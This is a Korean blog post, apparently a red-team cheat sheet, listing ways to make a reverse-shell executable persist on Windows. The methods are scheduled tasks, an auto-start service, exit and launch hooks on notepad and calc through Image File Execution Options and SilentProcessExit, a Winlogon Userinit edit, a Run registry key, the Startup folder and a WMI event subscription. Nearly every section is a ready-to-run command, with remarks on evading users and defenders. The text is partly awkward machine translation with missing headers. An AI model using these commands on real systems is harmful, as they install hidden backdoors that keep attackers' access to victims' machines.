Windows 지속성 치트시트

Mar 03 2023
소개 이 새로운 기사에 오신 것을 환영합니다. 여기서는 Windows 시스템에서 지속성을 얻기 위한 CheatSheet를 갖게 될 것입니다. 여기에서 우리는 이를 수행하는 다양한 방법을 보게 될 것이며 마지막으로 C++에서 제가 만든 이 모든 것을 자동화하는 도구를 만들 것입니다. 지속성이란 무엇입니까? 지속성은 공격자가 다시 시작, 변경된 자격 증명 및 액세스를 차단할 수 있는 기타 중단 시 시스템에 대한 액세스를 유지하는 데 사용하는 기술로 구성됩니다.

소개

이 새로운 기사에 오신 것을 환영합니다. 여기서는 Windows 시스템에서 지속성을 얻기 위한 CheatSheet를 갖게 될 것입니다. 여기에서 우리는 이를 수행하는 다양한 방법을 보게 될 것이며 마지막으로 제가 C++에서 만든 이 모든 것을 자동화하는 도구를 만들 것입니다.

지속성이란 무엇입니까?

지속성은 공격자가 다시 시작, 변경된 자격 증명 및 액세스를 차단할 수 있는 기타 중단 시 시스템에 대한 액세스를 유지하는 데 사용하는 기술로 구성됩니다. 지속성에 사용되는 기술에는 적법한 코드를 교체 또는 하이재킹하거나 시작 코드를 추가하는 것과 같이 시스템에서 발판을 유지할 수 있도록 하는 모든 액세스, 작업 또는 구성 변경이 포함됩니다.

이것이 가장 정확한 정의가 되겠지만 내 말에 따르면 지속성은 기본적으로 컴퓨터를 종료한 후에도 재감염 없이 쉘을 다시 받을 수 있도록 언제든지 피해 시스템에 계속 액세스하거나 작업을 계속할 수 있도록 합니다. 피해자 장치.

색인

  • 예약 된 일들
  • 서비스
  • 앱 닫기
  • 앱 열기
  • WinLogon
  • 등록 실행
  • 시작 폴더
    WMIC

예약 된 일들:

예약된 작업은 지속성을 달성하는 가장 간단한 방법 중 하나이며 문제는 사용자가 발견하기가 훨씬 쉽지만 일반 사용자는 일반적으로 이를 알아차리지 못한다는 것입니다.

이것을 만들려면 schtasks를 사용해야 합니다 .

새 작업을 생성하려면:

schtasks /CREATE /SC MINUTE /TN "Reverse Shell" /TR "C:\Users\s12de\Downloads\shell.exe"

      
                

Windows 서비스는 Unix 데몬과 유사한 메모리 및 장치 관리에서 타사 응용 프로그램 관리, 사용자 자격 증명 및 기본 설정에 이르기까지 모든 것을 관리하는 운영 체제의 핵심 구성 요소입니다.

POC:

시작하려면 powershell 인스턴스가 필요합니다.

이제 자동 시작으로 새 서비스를 생성합니다. 이 서비스는 BinaryPathName에 지정된 바이너리를 실행합니다 .

New-Service -Name "s12" -BinaryPathName "C:\Users\s12de\Downloads\shell.exe" -Description "PersistenceWindows" -StartupType Automatic

      
                

sc start s12

      
                

내가 가장 좋아하는 다음 방법은 사용자가 정의된 프로세스 또는 바이너리를 닫을 때 바이너리를 실행할 수 있도록 하는 것입니다. 이 경우 사용자가 notepad.exe 프로세스를 마칠 때 리버스 쉘을 생성합니다.

이렇게 하려면 cmd에서 3개의 명령을 실행해야 합니다.

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

      
                
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\s12de\Downloads\shell.exe"

메모장을 자동으로 닫으면 리버스 쉘이 나타납니다.

앱 열기:

다음 방법은 내가 두 번째로 좋아하는 방법으로 사용자가 정의된 프로세스나 바이너리를 열 때 바이너리를 실행할 수 있도록 합니다. 이 경우 사용자가 calc.exe 프로세스를 열 때 리버스 쉘을 생성합니다.

이렇게 하려면 cmd에서 2개의 명령을 실행해야 합니다.

copy calc.exe _calc.exe

      
                
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\s12de\Downloads\shell.exe /f

사용자가 계산기를 열면 리버스 쉘 연결이 수신됩니다.

WinLogon:

Winlogon 은 로그온, 로그오프, 인증 중 사용자 프로필 로드, 종료, 잠금 화면 등과 같은 다양한 활동을 처리하는 Windows 구성 요소입니다. 이러한 종류의 동작은 Windows 로그온 중에 시작할 프로세스를 정의하는 레지스트리에서 관리합니다. 레드 팀 관점에서 이러한 이벤트는 지속성을 위해 임의의 페이로드를 실행하는 트리거가 될 수 있습니다.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

      
                

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\s12de\Downloads\shell.exe" /f

      
                

등록 키가 수정되었습니다!

등록 실행

레지스트리는 Windows 운영과 Windows에서 실행되는 응용 프로그램 및 서비스에 중요한 데이터가 포함된 계층적 데이터베이스입니다. 데이터는 트리 형식으로 구성됩니다. 트리의 각 노드를 키라고 합니다 . 각 키는 하위 키와 값이라는 데이터 항목을 모두 포함할 수 있습니다.

POC:

이 경우 Run Register를 사용하는 것이 중요합니다. 이 레지스터는 Windows 시스템에서 가장 중요한 레지스터 중 하나이지만 이 경우 이점이 있습니다. 이를 실행하는 데 관리자 권한이 필요하지 않습니다 .

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v S12 /t REG_SZ /d "C:\Users\s12de\Downloads\shell.exe"

      
                

시작 폴더

재부팅 또는 사용자 로그온 후 Windows 운영 체제는 일반적으로 시작 폴더에 사용되는 경로에 있는 실행 파일을 실행합니다.

C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

copy "shell.exe" "C:\Users\s12de\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"

      
                

WMI(Windows Management Instrumentation)를 사용하면 시스템 관리자가 로컬 및 원격으로 작업을 수행할 수 있습니다. 레드 팀 구성의 관점에서 WMI는 측면 이동, 지속성, 상황 인식, 코드 실행 및 명령 및 제어 (C2) 와 같은 여러 활동을 수행하는 데 사용할 수 있습니다 . WMI가 거의 모든 Windows 운영 체제(Windows 98-Windows 10)에 존재하는 Windows의 일부라는 사실 덕분에 이러한 공격적인 활동이 블루 팀의 레이더에서 벗어날 수 있습니다.

실행 파일은 재부팅할 때마다 60초 이내에 역방향 셸 세션을 반환합니다.

이 경우 3개의 명령을 실행해야 합니다.

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

      
                
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\windows\system32\tita.exe",CommandLineTemplate="C:\Users\s12de\Downloads\shell.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

오늘의 기사 여기까지는 이 CheatSheet가 매우 훌륭했고 매우 유용할 것이라고 믿습니다. 또한 이 모든 것을 자동화하기 위해 C++로 도구를 만들고 있습니다. 내 Github에 주목하십시오.

이것을 읽어 주셔서 감사합니다 :)

S12.